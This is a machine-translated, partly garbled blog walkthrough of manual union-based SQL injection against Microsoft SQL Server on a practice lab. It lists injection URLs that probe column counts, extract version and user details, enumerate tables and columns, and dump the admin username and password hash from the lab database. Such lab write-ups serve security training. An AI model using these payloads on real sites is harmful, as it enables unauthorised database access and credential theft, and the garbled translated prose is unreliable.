共同問い合わせ注射のMicrosoft SQL Serverの手に注意してください。

ソウル・グッドマン

攻撃と守備の研究の数は、公共の赤のチームに焦点を当てました

关注

共同問い合わせ注射のMicrosoft SQL Serverの手に注意してください。

MSSQLデータベースの紹介

SQL Server それは  Microsoft 、リレーショナルデータベース管理システムを導入しました。簡単な統合度の高い優れたスケーラビリティの利点で使用するソフトウェアには、MicrosoftのWindows 2012 Serverおよび他のプラットフォームを実行するためのMicrosoft Windows 98ラップトップコンピュータを実行している大規模なマルチプロセッサからまたがることができます。

Microsoft SQL Server これは、統合されたビジネスインテリジェンス(BI)ツールは、エンタープライズクラスのデータ管理を提供し使用して、包括的なデータベース・プラットフォームです。Microsoft SQL Server あなたが構築し、ビジネスのための高可用性と高パフォーマンスのデータアプリケーションを管理できるように、データベースエンジンは、リレーショナルデータと構造化データのためのより安全で信頼性の高いストレージ機能を提供します。

MSSQLデータベース、テスト環境

完全インストールのSQL Server 2008 データベースます。https://jingyan.baidu.com/article/948f592434b407d80ef5f97d.html

MSSQLデータベース権限はじめに

sa权限:数据库操作,文件管理,命令执行,注册表读取等:相当于system
db权限:文件管理、数据库操作等等:相当于users-administrators
public权限:数据库操作:相当于guest-users

MSSQLデータベースの呼び出しコード

<% 
set conn =server.createobject("adodb.connection") conn.open  "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name"
%>


注释:uid:账号, pwd:密码

MSSQLデータベースは、手で注入しました

MSSQLデータベースかどうかを確認


入力しSQLた場合、文は返回正常そのサイトのために使用されるデータベースであることをMssqlデータベースので、Mssqlデータベースはデフォルト持つsysobjectsテーブルを。

権限を決定するためのSQL文

and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员 
and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限 
and 1=(select is_srvrolemember('public'))   //判断是否为public权限

マニュアル(SQL Serverデータベース)をテストSQLインジェクションの脆弱性

範囲アドレス: https://www.mozhe.cn/bug/detail/SXlYMWZhSm15QzM1OGpyV21BR1p2QT09bW96aGUmozhe

注射部位ます:http://219.153.49.228:42837 / new_list.asp ID = 2?

MSSQLかどうかを確認

http://219.153.49.228:42837/new_list.asp?id=2 and exists(select * from sysobjects)

データベースのサイトがであることを示す、通常の状態に戻りますMssql

フィールドの長さを分析

http://219.153.49.228:42837/new_list.asp?id=2 order by 5

order by 5私たちは、エラーが返され邁進します:

http://219.153.49.228:42837/new_list.asp?id=2 order by 4

order by 4正常な状態に戻り、説明フィールドは4の長さです!

文字の表示位置を探して

http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,null,null,null
这里使用的是 union all,它和 union select 的区别就是:union select 会自动去除一些重复的字段!
在这个靶场使用 union select 是不行的,所以我们就用 union all
然后我使用的 null 是说明它无关是字符型还是数字型

次は、その表示位置を推測するために一つずつWE:

http://219.153.49.228:42837/new_list.asp?id=-2 union all select '1',null,null,null

'1'その後、私たちは、次の調査を継続し、それが最初のものではないことを示す彼の応答がありません、  null

http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,'2',null,null

この時間は、彼がデジタルページを持っていた"2"ことを示し、2我々はできる。この位置は、それを利用するために!

私たちは、第三位を見て続行します。

http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,'2','3',null

それはまた、外の私達のページで見ることができ‘3’、第三1桁表示も使用に行くことができます!

私たちは、(実際には2桁の表示は十分でしょう)第四を見て:

応答がないとき、私はそれだけで存在することを示す、4ページ目を推測‘2’‘3’2つの表示ビットを!

その他の関連情報

今、私たちは、表示位置を持っていることを、我々は我々が取得したいクエリの情報を表示するためにサイトを使用することができます!

@@version-:获取版本信息
db_name():数据库名字 
user,system_user,current_user,user_name:获取当前⽤户名 
@@SERVERNAME:获取有关服务器主机的信息

バージョン情報を取得します

http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,@@version,'3',null

データベース名を取得します。

http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,db_name(),'3',null

現在のデータベース名を取得します。

http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,user,'3',null
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,system_user,'3',null
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,current_user,'3',null

クエリショー

http://219.153.49.228:42837/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4

ここでチェックしてください最初を表し  manage(ポートを変更して、ビットを再起動するには、ここに私ドローン)第二に、そして我々は見に行きます:

http://219.153.49.228:43946/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4


注释:name not in ('manage') 这段语句意思是查询 name 不是 'manage' 的,这样就可以排除 'manage' 从而查询下一个表名

第2のテーブル名をチェックしてください  announcementあなたは調査を継続したい場合は、その後を続け、  not in ライン上のこの問い合わせ裁判官!

カラム名を取得します。

http://219.153.49.228:43946/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null


注释:col_name 是查询的列名,object_id('manage')是从manage这个表里查询,1 代表的是查询第一个列名

ここでは、最初の列名をチェックアウトする  idだけの行に2の番号1を変更する必要があり、我々は第二のカラム名を検索していき、 col_name(object_id('manage'),2

http://219.153.49.228:43946/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null

第2の列名をチェックしてください  username、我々は3番目の列名を照会し続け、:

http://219.153.49.228:43946/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null

3番目の列名は  password、我々が得るこの時間  username と  password 列!

データを取得します

http://219.153.49.228:43946/new_list.asp?id=-2 union all select null,username, password ,null from manage

今回は自分のアカウントのうちに注射:admin_mzパスワードを  72e1bfc3f01b7583

公開された12元の記事 ウォンの賞賛4 ビュー2270

おすすめ

転載: blog.csdn.net/weixin_46245322/article/details/105213370